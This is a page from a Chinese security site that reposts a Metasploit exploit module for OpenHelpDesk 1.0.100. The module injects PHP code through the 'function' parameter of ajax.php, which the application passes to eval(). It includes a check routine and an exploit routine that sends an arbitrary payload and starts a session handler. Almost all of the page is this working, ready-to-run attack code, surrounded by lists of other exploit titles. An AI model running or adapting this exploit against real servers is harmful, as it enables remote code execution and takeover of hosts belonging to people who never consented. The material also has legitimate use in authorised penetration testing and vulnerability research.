首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenHelpDesk 1.0.100 eval() Code Execution Exploit (meta)
来源:lso@hushmail.com 作者:LSO 发布时间:2009-02-03  
##
# $Id: php_eval.rb 5783 2008-10-23 02:43:21Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'OpenHelpDesk eval (previously unpublished)',
'Description'    => %q{
OpenHelpDesk version 1.0.100 is vulnerable to a php code
execution vulnerability due to improper use of eval().
The php.ini register_globals directive is *not* required to be
on to exploit this vulnerability.  There is no known public
exploit for this vulnerability.
},
'Author'         => [ 'LSO <lso@hushmail.com>' ],
'License'        => BSD_LICENSE,
'Version'        => '$Revision$',
'References'     => [ 'URL' , 'http://sourceforge.net/projects/openhelpdesk' ],
'Privileged'     => false,
'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
'Payload'        =>
{
'Space'       => 4000,  # max url length for some old
# versions of apache according to
# http://www.boutell.com/newfaq/misc/urllength.html
'DisableNops' => true,
'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat'      =>
{
'ConnectionType' => 'find',
},
'Keys'        => ['php'],
},
'Targets'        => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('URIPATH',   [ true,  "The URI of ajax.php ", '/openhelpdesk/ajax.php']),
], self.class)

end

def check
tester = rand_text_alpha(10)
php_code = "echo('#{tester}');"

response = eval_sploit(php_code)

#print_status(response)
if (response && response.body.match(tester).to_a.first)
print_status("PHP code execution achieved; safe_mode or disable_functions might still prevent host compromise")
checkcode = Exploit::CheckCode::Vulnerable
else
checkcode = Exploit::CheckCode::Safe
end
return checkcode
end

def exploit
response = eval_sploit(payload.encoded)

handler
end

def eval_sploit(php_code)
uri  = datastore['URIPATH'] + "?function=" + php_code + "//"
response = send_request_raw({ 'uri' => uri },1)
return response
end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpslash <= 0.8.1.1 Remote Cod
·KIS 2008 and Kaspersky AntiVir
·eVision CMS 2.0 Remote Code Ex
·CMS from Scratch <= 1.9.1 (fck
·CMS Mini <= 0.2.2 Remote Comma
·Free Download Manager <= 3.0 B
·phpBLASTER 1.0 RC1 (blaster_us
·Euphonics Audio Player v1.0 (.
·RealVNC 4.1.2 (vncviewer.exe)
·WEBalbum 2.4b (photo.php id) B
·Elecard AVC HD PLAYER (m3u/xpl
·Hex Workshop v6 (ColorMap file
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved